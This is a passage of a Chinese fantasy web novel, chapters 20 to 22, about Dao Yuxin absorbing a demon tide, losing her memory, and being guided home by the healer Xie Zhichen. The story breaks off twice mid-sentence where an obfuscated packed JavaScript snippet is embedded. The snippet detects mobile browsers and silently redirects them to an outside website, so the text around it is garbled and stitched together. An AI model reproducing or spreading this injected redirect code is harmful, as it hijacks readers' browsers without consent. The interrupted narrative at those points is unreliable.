刀语心很清楚自己此行的目的就是为了更多力量,邪魔潮不是随时都有,异化之力目前的获取方式只有转换邪魔,她必须抓住这个千载难逢的机会。 即便她需要付出代价。 她从一开始就知道自己在剑走偏锋,但她不想拉着谢止沉陪她一起送死,她不想因为自己牵连到任何一人。 邪魔占据已经刀语心的全部视线,即便有屏障作为阻隔,但无法支撑太久。 她闭上眼,趁着最后安全的时间专心操控着异化之力。 流动的黑色能量从刀语心的身体中倾泻而出,以刀语心为中心,缓缓聚成一个圆。 随着时间的推移,护盾开始出现裂痕,对此刀语心毫无察觉。 光亮越来越暗淡,最终破碎,一切被汹涌而来的邪魔掩埋。 片刻间刀语心的身体被划出无数道伤口,无尽寒意钻入骨髓的同时每一道都在不断往外渗血。 刀语心的血又是对邪魔最大的引诱,它们的进攻越发猛烈。 在生存本能的促使下,她身体中部分异化之力不再受控从身体各处四散而出,吞咽着触碰到的所有邪魔。 即便只剩下不到原先邪魔潮的三分之一,但对刀语心来说还是太过勉强,吞噬邪魔的速度还是有些慢了,她的生命值在不断下跌,再这样下去源源不断的邪魔会先一步吸收她所有生命。 但刀语心不会容许那样的事发生。 身上已是创伤遍布,但她完全不在意那些疼痛,她强行掌控所有的异化之力,以自身为中心点将所有的异化之力织成一张巨大的网。 即便身体已经到了承受的限度,但刀语心不打算放过任何一个能够变强的机会。 她知晓自己的偏执,对力量的渴望早在无数个忍痛的黑夜变成了扭曲的执念。 只有足够的力量才能够改写那该死的命运。 即便她会死去,她也要在挣扎中死去。 伤及肺腑的血液从口中溢出,滴落在黑渊魔晶上,其瞬间爆发出一个能量波,顺着脉络将异化之力强化。 可人类的身体是有极限的,超出承受的能力会带来剧痛,但刀语心仿若感觉不到一般,撑着快要破碎的意识,将最后的网全部收拢。 所有被网罩住的邪魔在一瞬间被她吞噬殆尽。 被巨大力量冲刷的刀语心撑着剑跪坐在地,连视线也被鲜血模糊。 好累、好痛、好想休息…… 剩下最后几个动作迟钝没来得及被吸收的邪魔在半空中面面相觑,它们不明白自己的同伴为何瞬间消失。 它们本应该逃跑,因为数量过少无法再构成威胁,但刀语心身上流出的鲜血太过吸引它们,邪魔移不开眼。 那些漆黑模糊的影子不断在刀语心眼前晃荡。 好烦……得把它们全杀了。 她抬手擦去即将从睫毛滴落到眼中的血,空洞的视线扫过邪魔。 杀了它们。 抱着这唯一存在的思绪,她提剑起身。 20. 第 20 章 与此同时,在亚空间中的谢止沉陷入了某种停滞。 他出不去。 刚进来时谢止沉就意识到事情不对,他身旁空无一人,而先前牵着刀语心的手中现在握着的属于刀语心的那把钥匙。 他低头看着静静躺在掌心中的钥匙,往日神秘深邃的暗红双眼如今只余惘然。 本该是他留在外面才对,但刀语心却让他进入了亚空间自己留在了外面,刀语心不知道灵魂绑定,也不知道如果绑定者死了钥匙会碎裂,她只知道有两把钥匙的他可以活下去。 可以说,刀语心已经做好了死去的准备,只把唯一的活路留给了他。 想到这里,谢止沉心中是止不住的迷惘。 为什么? 他走过无数世界,见过形形色色的人和事,但对于刀语心此举的意义所在,他却少见地只觉得茫然。 他明白很多事情自己无法控制,大多数时候谢止沉都在作为旁观者漠然地看着一切发生。 但为什么,他此刻会如此心烦意乱。 无数烦躁和焦虑涌上谢止沉的心头,他想出去帮刀语心,但因为亚空间意识太过惧怕谢止沉,所以在察觉进入的人是他后,故意躲得很远,也不回应他。 而他如今的力量并不足以让自己离开这片空间。 无法亲眼确定刀语心安危的他,现在只能通过钥匙的存在判断刀语心还活着。 但他也时时刻刻担心,钥匙会不会在下一秒就碎裂。 这种不安感从进入亚空间的那一刻就缠绕着谢止沉。 他必须做点什么,而不是进行无用的祈祷。 只见谢止沉站在无边空旷的空间中闭上双眼,他将意识附着在流光之上,穿过层层叠叠的空间屏障连接这片大地之上的某个存在,这是谢止沉离开后第一次那么做。 “何事?”亘古的声音回荡在他的脑海之中。 “让我周围的邪魔潮退散。” 很快,谢止沉得到回应:“邪魔潮已经消失了。” 刀语心成功了,不过代价是什么呢? “你周围还有其他生命存在?”对方突然发问。 “怎么了?” “有枚种子在你附近。” 听到这话后,谢止沉面上微怔,随后浮现出了然的神情,现在只有刀语心和他在遗迹之中,种子指的是谁不言而喻。 难怪刀语心如此特殊。 在察觉到谢止沉的心声后,悠远的声音再度响起: “看来你知道种子是谁,保护好她。” 听到这话后谢止沉在心中止不住地叹气,现在是他在被对方保护。 等待着胆小怕事的亚空间意识主动出现不是个办法。 对刀语心向来温和的眉眼此刻冰冷如利刃,谢止沉隐蔽起自己的气息,身形也随即消失不见。 只看到无数赤红线条从地面向四周发散,打破黑白灰的界限搜寻亚空间意识的踪迹,而谢止沉随时能出现在被红色沾染的地方。 不多时,察觉不到谢止沉位置的亚空间意识惊慌失措,在红线即将蔓延到身旁时主动暴露行踪。 察觉异动的刹那间,谢止沉出现在它的面前。 “你在这啊。” 正准备逃走的亚空间意识正对上那染血双眸。 “不要吃了我!”它被吓得颤抖着大叫。 “没半点用的东西,凭什么觉得我会吃了你。”这亚空间意识有种被洗脑过后的愚钝感,谢止沉不想和它多废话。 “把空间最高权限给我。” 后果不必多说,亚空间意识已经感受到从谢止沉身上传来不加掩饰的杀意。 “好好好,我马上给,只要您不吃了我,我做什么都可以。” 有了最高权限后谢止沉就可以自由进出,不必再受到亚空间意识的阻碍。 亚空间意识将谢止沉绑定的钥匙权限升级完毕,谢止沉又将属于刀语心的那一半钥匙悬在亚空间意识面前。 揣摩不出谢止沉心思的它只能颤颤巍巍开口询问: “这一半的权限需要和您一样,还是比您低一级?” “同级。” 看着属于刀语心的钥匙飘浮在半空,谢止沉心中思绪翻涌。 在遇到刀语心之前他从未与谁同行过,所以他不理解刀语心为什么要放弃自己存活的机会让他进入亚空间。 或许刀语心有留在外面的理由,但不可否认她也为他做好了打算,给他钥匙就是证明。 如果不是自己被亚空间排斥说不定她就不会如此冒险,思及至此谢止沉有些心烦。 在给刀语心钥匙升级的间隙,亚空间意识眼睁睁看着谢止沉用最高权限调取出其他亚空间位置,心中有些庆幸倒霉的不止自己一个,同时也在为自己其他同伴哀悼。 它们谁都逃不掉。 钥匙权限全部升级完毕后,谢止沉就马上调出传送旋涡离开了亚空间。 出来后,谢止沉就看到了一地的血迹以及碎裂的符石。 急忙张望后,发现刀语心躺在树根下睡着了。 但他悬着的心并没有放下,肉眼可见刀语心全身各处遍布着可怖的伤口,他感知到刀语心的力量也非常紊乱 他朝刀语心所在的方向迈进一步,但转眼灭灵剑的剑锋就直指在他的面前。 相隔一剑的距离,谢止沉看到那双本就漆黑的眼中此刻更是镀上了无尽虚无。 “你是谁?”她开口。 闻言谢止沉眉头一皱,好在他很快察觉到刀语心并不是被邪魔力量同化彻底失去个体意识,是陷入了混沌态从而使记忆和思绪都被遮盖。 混沌态是本源之力众多副作用之一,异化之力作为异变分支也继承了同样的缺点。 拥有的异化之力数量剧增,超过刀语心自身承受极限变得不再受控,原本的解决办法很简单,只需将多余部分消耗殆尽,但她身体中还有未被转化的邪魔之力。 两股力量在她体内诡异的共存,如果异化之力消失就会失去对邪魔之力的制衡,必须在消耗异化之力的同时需要唤醒刀语心的意识去主动将其余邪魔之力转化,否则她会被邪魔污染同化。 思绪停止,谢止沉的视线转到泛着冷光的灭灵剑上。 算起来他这是第二次经历这样的场面了,谢止沉也越发得心应手起来。 即便被利刃所指,但在刀语心面前谢止沉依然恢复成往日温柔无害的模样,轻声开口试图唤醒刀语心的记忆: “我是谢止沉,是和你一起来这里的医师。这是你的钥匙,是你给我的,你记得吗?” 漆黑视线落在谢止沉手中的钥匙上,灵魂绑定的密钥有刀语心自己的气息,她对此感到熟悉,但不足以让刀语心彻底放下警惕。 随后她无光的双眼再次直视他。 “谢止沉?” “对,能想起来吗?” 刀语心摇摇头,她只感到似曾相识,但完全没有与之相对的记忆,不可控的异化之力化作黑纱将她的记忆死死遮盖。 “想不起来也没关系,作为同伴应该互相帮助,先让我帮你疗伤可以吗?” “同伴?”失去记忆的刀语心每次说话都是在重复谢止沉说过的字句。 “对,我们是同伴。”他肯定地回应着。 只见那双暗色眼眸中充斥着困惑和不解,但片刻后刀语心还是选择相信自己的直觉放下了剑,谢止沉也得以靠近一些去治疗她的伤势。 刀语心身上的伤的确很重,某些伤口还在往外散发着邪魔的气息,谢止沉本想将其抽离,但发现它们被刀语心死死锢住,贸然抽出反而会伤害到她。 哪怕会让伤口无法复原,不断承受着刺骨冰寒,刀语心也不愿意舍弃她眼中的“力量”。 看着十分固执的刀语心,谢止沉这才发觉她对力量的渴望近乎病态,认识到这一点后他垂眼遮盖起眼中的复杂思绪,在心底轻叹。 自从遇到刀语心之后,他叹息的次数疯狂增长。 他先用医疗装置给刀语心治疗外在创伤,自己则消耗所有法力值释放一个高阶法术,将刀语心体内的邪魔之力禁锢,暂时降低她被同化的风险。 混沌态只能凭借个人的意志由内往外打破,但在她体内的两股力量互相制衡让这一过程无限延长。 或许随着时间推移刀语心可以自己清醒,不过那样耗时太长且不可控后果也无法估量,况且刀语心一个人在遗迹之中也不安全,谢止沉打算把她带走。 没有记忆也就不存在想要转换力量的念头,只有让她恢复些许记忆萌生出改变的想法,她才能摆脱这一困境。 回忆过去有助于让她恢复,而了解刀语心过去的人谢止沉只能想到一位:裴瑛。 得把失忆的刀语心带回无名镇。 “等伤势治疗好后,可以和我一起离开吗?”在治疗途中谢止沉询问着刀语心。 “离开?去哪里?” 在感受到身上的疼痛与冰寒消退许多后,刀语心勉强认可了这位同伴。 “无名镇。” “不要。”听到谢止沉说出的地名后,刀语心瞬间拒绝。 即便没有具体的记忆,但她本能感受到了厌恶。 她讨厌那里。 见刀语心如此抗拒,谢止沉只能在脑海中思考着其他应对策略,将人强行带走可能会导致更糟糕的结果,所以只能从别的方面下手循循善诱。 “你记得你的队长吗?裴瑛。” 思绪触须碰到被黑纱想要探寻被其遮盖的记忆,但那会让刀语心感受到疼痛和许多不好的情绪,她不愿继续想下去。 于是她皱眉摇头。 看到刀语心面上神情,谢止沉知晓有关无名镇的一切都只会带给刀语心负面情绪,他只能在二人短暂相处的记忆中找寻着刀语心可能感兴趣的东西。 材料、食物……还有宝藏。 他需要借由这些东西与失忆的刀语心建立起信任,之后再寻找机会将刀语心带回无名镇。 “我们在遗迹中还有未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358063|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到的宝藏,要一起去找吗?” “宝藏?好啊。”听到宝藏二字后刀语心明显跃跃欲试起来,虽然不知道宝藏为何物,但潜意识带给她期待。 见刀语心愿意去寻找宝藏,谢止沉放下心来。 等到外部伤势治愈完毕后,他牵起刀语心的手打算朝外走去。 但考虑到刀语心可能不愿意被他一直牵着,再加上谢止沉自己也担心刀语心走丢不在自己身边,于是他指尖凝出一根黯淡得有些近乎透明的丝线,将二人手腕绑在一起。 这淡红丝线看似纤细易断实则柔韧无比,只要操控它的主人不想,它就永远不会消失。 在谢止沉凝结红线的同时眼中阴翳退却,刀语心得以注视着他如红宝石般的双眸。 爱美之心人皆有之,失去记忆的刀语心亦然。 “你的眼睛……”刀语心话说一半,然后在脑海中想形容词,不过最后搜寻无果只冒出了一句: “很好看。” 一些记忆片段在脑海中闪回,她好像有一颗宝石的色泽与他的眼睛很像,随着刀语心意念一动那颗宝石就出现在她手心中,她将其递给了谢止沉。 “送你。” 突然被夸的谢止沉先是动作一顿,接着又看到刀语心塞到自己手中的宝石,嘴角下意识扬起的弧度昭示他现在心情很好。 “既然送我了,那就不可以收回去了。”当然,他也会准备回礼。 “没问题。”虽然不知道谢止沉为什么这么说,但刀语心还是一口答应了下来,她觉得谢止沉的双眼比宝石更璀璨。 丝线不会干扰刀语心的行动,她一开始还有些好奇地碰了碰,但很快就失去了兴趣。 残片已经被谢止沉收集大半,剩下一部分没有很多,他带着刀语心在遗迹中找寻剩下形态各异的壁画。 但介于失忆的刀语心四处走走停停,时间也随之拉长。 比起之前如冰冷机器一般的高效,失去记忆的刀语心此刻行为大多都由本能驱动,没有后天观念带来的拘束,也没有过度的思考,她此刻一切的行为遵从自己的本心。 从二人相处的时日之中,谢止沉也能察觉到刀语心灰暗过去的一星半点。 失去记忆能让她不必背负着过去带给她的一切苦难,从而获得短暂的轻松,但失忆本身对她来说究竟是好是坏,也只有彻底清醒的刀语心才能选择。 而这又是另一种苦难所在。 花了一天一夜的时间将残片全都收集完毕后,二人来到大厅拼凑,似是感应到他们集齐了所有的残片,石树正前方一片空旷地面凹陷进去,等待着他们用残片将其填充。 每一块残片都方方正正,只有表面的纹路有所不同,这让完全复原的难度变得很大。 在谢止沉思索的间隙,刀语心已经开始认真地将一片片组成到一起,她没有感受到畏惧,她只知道完成后会获得宝藏。 看着刀语心的动作谢止沉也在心中感慨:即便失去了记忆,但她依然是她。 他也开始拼凑剩下的部分。 不过很快就出现了问题。 “正面和反面都有图案。”刀语心拿着两片残片对谢止沉说,虽然无法进行深度思考,但她依然能够通过观察得到答案。 残片亮面部分与地面颜色相近,所以二人都下意识先入为主认为这就是正面,但刀语心手上的两块残片在亮面的图案并没有相连,反而暗面部分则组成了一个圈。 残片的亮面与暗面有不同的拼凑方法。 谢止沉接过刀语心手中的残片再加上其余开始比对,他发现亮面的纹路存在一定规律,应该是一个法阵,而暗面纹路相对混乱无法推断规律,也正因如此之前才没有发现。 “我们先把暗面拼好吧。”他想确定其中究竟藏着怎样的信息。 “好。” 不多时,二人就将其拼接完成。 但凹陷部分被残片填满后并没有发生其他变动,看来暗面部分不负责触发机关,上面的图案只是在传递某种信息。 从表面上看,暗面上显露的图案和遗迹中的壁画大差不差。 海水,太阳,一棵占据大半部分的树,还有刀语心最先拼出的那个圆圈……加上之前那些壁画中暗含的信息,谢止沉脑中不断闪过思绪,随之得出答案。 “这是地图。” “是藏宝图吗?”刀语心问他。 失去记忆后刀语心满心满眼都只有宝藏,对此谢止沉只是温声回应着:“应该是,之后我们可以一起去找找看看。” “好啊。” 接着将残片按照亮面的纹路拼凑完整后,如谢止沉预料的一般,纹路上的法阵启动,先前凹陷的地块向下延伸变成了阶梯,石树下的密室向它们打开。 不过与之而来的还有一些形状各异的异兽,它们朝着二人嘶吼。 最先感受到威胁的刀语心唤出灭灵剑,出于保护同伴的本能她持剑挡在谢止沉的身前。 剑锋反射的光芒摄入谢止沉的眼中。 21. 第 21 章 虽然刀语心将灭灵剑重塑过,但其剑身上的刻印纹路谢止沉对此无比熟悉。 曾经用来斩杀自己的剑如今被刀语心用来保护他,这件事有些莫名的诡异,但总的来说还算不错。 过去的回忆浮上心头,谢止沉眼中闪过冷色,但随后化为无尽的嘲讽。 那些人大抵从未想过他们费尽心思研制的刻印有用来保护他的这一天。 在现实世界面对异兽时,职业壁垒的规则再度开始束缚刀语心。 没有记忆的她并不知晓为什么这把剑如此不称手,不过一次砍不中那她就接着砍。 她带着烦躁将异兽撕碎,谢止沉操控赤红流光保护着刀语心的同时顺带抹杀异兽,这些低等级异兽很快就被二人杀戮殆尽。 前路障碍清扫完毕,刀语心提剑先一步走入密室之中。 虽然位于地下但被法阵扩大了很多倍,里面的空间十分宽阔。 在刀语心踏入的一瞬间,墙壁上的火炬亮起,二人也得以看清此刻所处的环境: 通过建筑风格可以看出原本整体基调是纯白圣洁的,但不知为何四处沾染了许多血污,正中还有一座双眼流血的诡异雕像,猩红血液在它周围汇聚成了血泊。 二人来到雕像面前发现有一块石板立于其下方,不过刀语心看不懂上面的文字她也就不去在意,而谢止沉则是盯着石板若有所思。 “宝藏会在哪?”刀语心说着就开始在四处寻找起来,怪异的环境无法影响刀语心分毫,她只在意宝藏本身。 不多时四周突然产生一次震动,刀语心警惕地抬起手中的剑。 而谢止沉看着面前的血泊不断变大,他抬头看到石像眼中不断流出更多的血,他感受到一股视线落在自己的身上,接着听见那石像开口发问: “无垠之种,来此为何?” “把东西拿出来。”石板上的信息是找到所有残片并成功进入后,可以获得神明赠礼。 “不可,你们二人皆无资格,尤其是你。” 这死板的拒绝不出谢止沉预料,他无所谓地心想:好了,交涉破裂,接下来得动手了。 他们对话中止之后,走到谢止沉一旁的刀语心发问:“你们在说什么?” 抬手准备攻击的谢止沉先止住了动作,言简意赅地和刀语心解释:“它不打算给我们宝藏。” 他忘了刀语心是在这个世界成长的,她没有学习过相应语言自然听不懂他们的交谈。 “那我们杀了它吧。”刀语心皱眉说着,随后握紧了手中的剑摆出攻击架势,谁也不能阻止她拿到宝藏。 在先前的战斗中,刀语心被职业壁垒干扰而产生的负面情绪没有消失,反而暗中被异化之力催化加深,于是二人在完全没有商量的情况下达成了一致。 那就是杀死雕像得到宝藏。 “哼,狂妄之徒。” 石像也知晓他们想要杀死自己,说着它也开始动作,四周墙壁上无数法阵亮起,其中凝成射线朝着二人不断攻击。 不过大多都被赤红流光挡下,围绕保护着二人的同时还将墙上的法阵毁去,在谢止沉的掩护下,刀语心动作极快地前往石像的方向。 无论失忆与否,刀语心从不在乎自己会不会受伤,她只在意自己能不能达成目的。 她一往无前,脑海中只有一个念头:毁灭它。 异化之力从她手掌蔓延至灭灵剑剑身,抵达石像附近后她从地面跃起,带着无尽漆黑的力量砍向石像双眼。 随着一声巨响,石像眼睛的部分只余一个丑陋豁口,许多染血碎片从高处落下。 重回地面的刀语心没有就此停手,而是继续提剑砍向雕像底部,失去支撑的石像朝着地面倾倒,除了主要躯干其余部分都因为受到冲击化作碎石散落在地。 但刀语心依然没有停下。 见她是真的要将自己击碎,先前还波澜不惊的石像终于开始求饶:“停下……我会把东西给你……” 不过刀语心手上动作没有丝毫停顿,石像意识到刀语心听不懂它在说什么,于是豁口部分空洞的视线投向冷眼旁观的谢止沉,它向他求助:“求你了,让她停下来!” 对此谢止沉没有立即回应,只是等刀语心差不多砍够了他才开口: “它的脑袋还有点用,得留下让它帮我们找到宝藏。” 闻言刀语心砍完最后一剑后停手,她提剑起身,视线扫过一地的碎片,心中无名的怒火也消退了许多。 在强烈求生欲的驱使下,石像控制着三个古朴的盒子从黑暗中飘出浮在刀语心的面前,盒子大小形状一样只有颜色不同,分别是黑白红三色。 “按照规矩,三选其一。”石像说着,谢止沉在一旁给刀语心翻译着。 在手即将落在黑色盒子上的刹那,刀语心发觉谢止沉面前空无一物。 “那你的呢?”她问。 “我大抵是被它讨厌了。”虽然这么说着,但谢止沉面上没有任何不适感,很显然他知道自己为什么总会被区别对待。 石像也发现二人之中只有刀语心对宝藏的渴求激烈,而谢止沉只是一个旁观者和辅助者,他不在乎也不屑于从它这里得到。 不过刀语心在乎,谢止沉什么都没有可不行。 说时迟那时快,在石像即将收回剩余两个盒子的间隙,刀语心将那个红色盒子强行留下,见此石像有些不乐意想要挣扎,而刀语心只是提剑刺在它仅剩脑袋的一侧。 “你要是再说什么,我就砍了你。”这本就是他们该得到的。 她将得来的盒子递给了谢止沉,他接过后眉眼微弯和刀语心道谢: “谢谢。” 他不想要所谓神明的赠礼,但既然这是刀语心为他拿来,就相当于是刀语心给他的,和这雕像还有什么神明都没任何关系。 “你应该感谢我主!”躺在地上的石像愤愤不平地说着,但随即灭灵剑就将它除头之外的地方彻底击碎。 “都让你不要说话了。”谢止沉似带惋惜地嘲讽道。 花落,他伸手将赤红力量注入石像仅剩的头部将其化为飞灰,流光裹着碎片再度聚集将雕像修复完整,只不过不再是之前的石像。 石块被塑成一棵倒立的石树,无眼无口,是一个合格的守卫者。 对此刀语心没有关注,她将石像砍碎后就打开了黑色盒子,里面放置了一本书,还有一颗黑色珠子,不过表面有些泛灰且凹凸不平。 她先拿起了书籍,上面的文字她本该看不懂,但在触碰的瞬间那些字句就涌入她的脑海,自动变成她可以理解的语言。 “锻造师……”看清书籍的内容后,她随手就将其扔在地上。 她不喜欢这个东西。 属于谢止沉的盒子中则是有一些材料,对他来说没什么作用,他打算直接交给刀语心,毕竟材料在她手中才能发挥更大的价值,但转眼就看到刀语心将手中的书扔了。 赤红流光将地上的东西卷起送到谢止沉的手中,他也察觉其中的端倪。 被扔的是有关锻造的东西啊。 即便失去了记忆还是本能感到厌恶,看来她很讨厌锻造师,但为什么? 混沌态就是会让人无限制地趋近于本能无法过多思考便于操控,许多时候做出的抉择并不利于自身,不清楚原因的谢止沉先将其收起,打算等刀语心恢复记忆后再连同材料一起交给她。 “宝藏已经找到了,我们现在得回家了。”他和在一旁把玩着灰黑珠子的刀语心说着。 “好。”她答应下来。 看来只要不提无名镇,刀语心并不会过多抗拒。 失忆的她真是好骗,谢止沉如此感慨着,然后带刀语心来到传送阵,二人再次离开遗迹回到地面。 他们在遗迹中待了三天多,此时是三月二十一的傍晚,太阳即将西沉,刀语心抬头看着红霞,无边际的热烈色彩印在她灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这种令人作呕的熟悉感让她内心中燃起烦躁,而异化之力抓住这个瞬息火上浇油将负面情绪无限放大,在本能的驱使下刀语心一次又一次不停地想要去撕开那该死的黑纱。 尝试的次数够多,也就越能适应苦痛。 但过于心急的举动反而会让异化之力的反噬累积叠加,在某个瞬息一次涌入。 突然传来的剧烈疼痛让刀语心蜷缩,她弓着身子死死掐住自己的手心,用疼痛分散疼痛的注意力。 一旁的谢止沉察觉到刀语心的异样,才发现她从未停止过挣扎,手臂已经因为承受过度产生了痉挛。 但他能做得太少了,谢止沉只能握住刀语心的手释放法术为她减轻伤痛,同时轻声劝慰: “别着急,慢慢来,总会想起来的。” “嗯。”刀语心垂眼应下。 无名镇中,邪魔潮消失后所有人脸上都有着劫后余生的喜悦,但有几人除外。 裴瑛和绿绮完全感受不到任何欣喜,只有满心焦虑和担忧,她们这几天都不约而同地在刀语心离开的方向等待着,盼望她能平安归来。 二人时常焦虑地在镇口徘徊,但都一无所获。 裴瑛派人去寻找刀语心但始终没有任何线索,绿绮则是被强硬告知不用去做无用功: “预言家说过,她会没事的。”事不关己高高挂起的巫津来来回回用这几句话安抚绿绮。 “预言家预言家,预言家有什么用啊!有本事把她的具体位置预言出来啊!”绿绮愤然挂断通讯后执意让人深入沙漠。 在又一个夜不能寐的晚上,她们各自的下属却传来消息: 刀语心回来了,还遇到了一点麻烦。 22. 第 22 章 未被转化的邪魔之力导致刀语心的伤痕即便痊愈,但依然会有邪魔的阴冷气息从中散发而出。 为了不引人注目,谢止沉特地给她戴上隐匿斗篷,又选择在深夜进入镇子。 但还是有人没事找事。 “喂,站住,例行检查。”站在镇口的人是之前在沙漠中遇到不要命拦车的冒险家何弎,还有一直跟在他身边的贾偲。 他们按照绿绮下达的指令一直待在镇口,要求见到刀语心即刻上报,所以此刻他们冒充卫队执法队,仔细检查每一个往来行人。 不过何弎第一眼就认出了谢止沉,他记得自己在刀语心身边见过这人,所以极大概率谢止沉身旁的人就是刀语心,但他怀有祸心没有先将自己的发现告诉贾偲。 “把兜帽摘掉。”贾偲说着,但随即被谢止沉拒绝。 “我不记得进无名镇需要检查。” “邪魔潮刚过去,设个检查不是理所应当?”何弎察觉到其中有些古怪,手中捏出一个法术,声东击西趁其不备向前直接掀掉了刀语心的兜帽。 没察觉到杀意,所以在放空思绪的刀语心没有过多防备这才让何弎得逞,站在她身边的谢止沉第一时间掐着何弎的手将其甩开,不过还是慢了一步。 用来隐藏的斗篷滑落,刀语心的身份暴露,一同出现的还有冰冷蚀骨的邪魔气息。 见到这人是刀语心,贾偲立刻按照命令到一旁去通知绿绮。 “邪魔!她身上有邪魔的气息!”何弎故意大声张扬,随即悄悄启动了从集市上买来的老旧摄像机在暗处摄像,另一边正在巡逻的卫队也听见声响朝着他们所在方向前来。 何弎知道救世会的高层很看重刀语心,还不停在暗中塑造刀语心救世主的形象,而如今他们口中的救世主变成了邪魔…… 真不敢想要是他用这段视频去威胁对方他能获得多少封口费,何弎满眼算计地心想。 被扑面而来的恶意让刀语心感到不适,她想要将那些想要伤害她的人碾碎。 不过谢止沉先一步牵住了她。 “你身上还有伤,交给我吧,我来解决。”刀语心身上的禁锢法术快要到时限了,谢止沉不打算让她冒险,况且他也发现卫队的人被引来了。 看着小人得志的何弎,谢止沉在夜色下更加幽暗深邃的红瞳闪过冷色,与人类相处的时间过长让他变得犹豫,从一开始就该直接杀了这两人。 思绪间一抹赤色就以极快的速度袭向何弎,把他手中摄像机绞碎。 “喂!我的摄像机!你凭什么……” “你给我闭嘴!”给绿绮发完消息回来的贾偲就看到何弎又在这惹出岔子。 自从贾偲获得救世会给他监视刀语心的酬金后,知晓来由的何弎就将一切怪罪到刀语心的身上,贾偲这次本来不想让何弎跟着,是何弎多次保证自己不会惹出乱子才带他一起。 但现在足以看出何弎憋了一肚子坏水准备祸害刀语心。 “你凭什么让我闭嘴!明明都是因为她,我哥才死去的!”何弎冲着贾偲吼叫。 “你哥的死是因为你自己,少去怪其他人!”闻言贾偲气急反笑,他们口中死去的人是何弎哥哥,何易。 谢止沉可没心情理会其中的弯弯绕绕,他本想趁机带着刀语心离开,但被何弎发现。 “你要带着那个邪魔去哪里?” 烦不胜烦的谢止沉转身看向何弎,何弎在那一瞬间被谢止沉眼中无尽杀意吓得惊颤,不过何弎心中想要加害于人的恶意从未停歇。 听见邪魔这个词,卫队的人快步向前将二人拦了下来,不过为首的小队长很快就发现何弎口中的邪魔是裴瑛一直在苦苦寻找的刀语心。 他挥手让其他人放下武器,随即他打了一个通信给叶冰彦,只要将这里发生的事情告知副队,身为队长的裴瑛也会得知。 “她只是受伤了,并没有被邪魔同化,我需要带她回家治疗。”谢止沉强忍心底的不耐烦回答。 即便被贾偲阻拦,但何弎还是不管不顾地嚷嚷:“我们凭什么相信你的一面之词,她可是邪魔!你们卫队这些人为什么不杀了她!” “不是你们,在场所有人有异议的人只有你一个,再者也不需要你相信,需要证明刀语心对他人有危害的人是你,并不是我。” 谢止沉将刀语心护在身后,语气是前所未有的强硬,从周身气质来看没有人会觉得他是一个和蔼可亲的医师。 其他人也意识到这才是层层表象之下谢止沉最接近本质的状态,强硬冰冷不近人情,让人不禁怀疑要不是刀语心还在这里,他随时会大开杀戒。 周身的气息都表明谢止沉此刻心情糟糕,于是刀语心拽住了他的手说:“不要生气。” 看着刀语心平静的双眼,谢止沉心中怒火瞬息被浇灭许多。 “好。”他答应了,不过杀心没有就此停止。 周围其他人发现空气中可怖的高压气氛在刀语心说话后直线下降。 与此同时有认识刀语心的队员在一旁小声说着:“刀语心小姐送给我们卫队很多她锻造的装备,她怎么会是坏人。” 巡逻小队长听到后只是在心中感慨,现在是自己得当一回坏人了。 “我们可以走了吗?”收起情绪的谢止沉问着小队长,他已经说了所有该说的。 “很抱歉,暂时还不可以。叶副队和裴队已经在赶来的路上,在她们确定刀语心小姐确实无害之前,只能委屈二位先在这里片刻。” 即便所有人都认为刀语心是无辜的好人,但卫队也必须对无名镇中其他普通人负责。 另一边贾偲忍无可忍给还在咄咄逼人的何弎一拳。 “还要我重复多少遍?是你自己嗜赌成性欠了债,我们才不得已接下救世会的任务,也是因为你引来的异兽,你哥才不得不舍弃自己的生命帮我们殿后。” “凭什么怪我?你们的任务不都是为了监视她吗?明明全都是她的错!明明该死的人是她!”原本还心态平稳等着大捞一笔的何弎,现在捂着自己被打的脸目眦尽裂地吼着。 “你才该死!”收到消息赶来的绿绮就听见何弎大言不惭的吼叫声,“要不是有刀语心引开邪魔潮,你现在可没命在这叫唤。” “她引开邪魔潮?证据是什么?既然她沾染邪魔气息的应该滚远点啊,为什么要带她回来!”何弎不甘示弱地回应,仿佛自己声音越大越有道理一般。 “为什么回来?这里有她的家她当然要回来。” 属于叶冰彦的声音也在黑夜里响起,卫队营地里镇口不远,所以叶冰彦和裴瑛来得很快,而原本在她身旁的裴瑛早几步就来到了刀语心身边。 “队长?”虽然没有了记忆,但刀语心见到裴瑛后还是本能地喊出了这个称呼。 在心底万分庆幸刀语心平安无事的裴瑛,却感受到刀语心周围气温有些异常冰冷,她拉起刀语心的手语气关切地问着:“怎么这么凉?” “我……不知道。”裴瑛也发现刀语心目光中的陌生。 一旁的谢止沉给出裴瑛心中疑虑的答案:“裴队长,刀语心她暂时失忆了,可能得让她想起一些过去的记忆才能恢复。” 闻言那些过去的片段在裴瑛脑海中闪回,随即在心底暗自叹息,她转身给巡逻小队长还有其他人一个交代,她会陪着刀语心治疗,确定刀语心在恢复之前不会危及无辜之人。 二人当即就打算带着刀语心回家,但何弎如从前拦下载具那般,想再次拦在几人面前撒泼打滚达成自己的目的。 “你们不能带走她!刀语心是邪魔,她就应该死在这里!” 被指控的刀语心本人对此毫无感觉,在身旁的谢止沉即将绞死何弎之际,裴瑛出手比他更快一步。 “滚开!”裴瑛少见地动怒了,她抬手释放力量冲击将何弎掀翻数米。 她一直坚守自己最初的本心保护镇子这么多年,而此刻最在意的人却被人拦在镇口无法回家。 每个人心中都有或多或少的阴暗面,裴瑛也会问自己凭什么?何弎这种人究竟值得她放弃刀语心去守护吗?但她也明白自己不应该因为个别愚昧无知的个体迁怒所有人。 作为一个领袖她不能滥杀无辜, 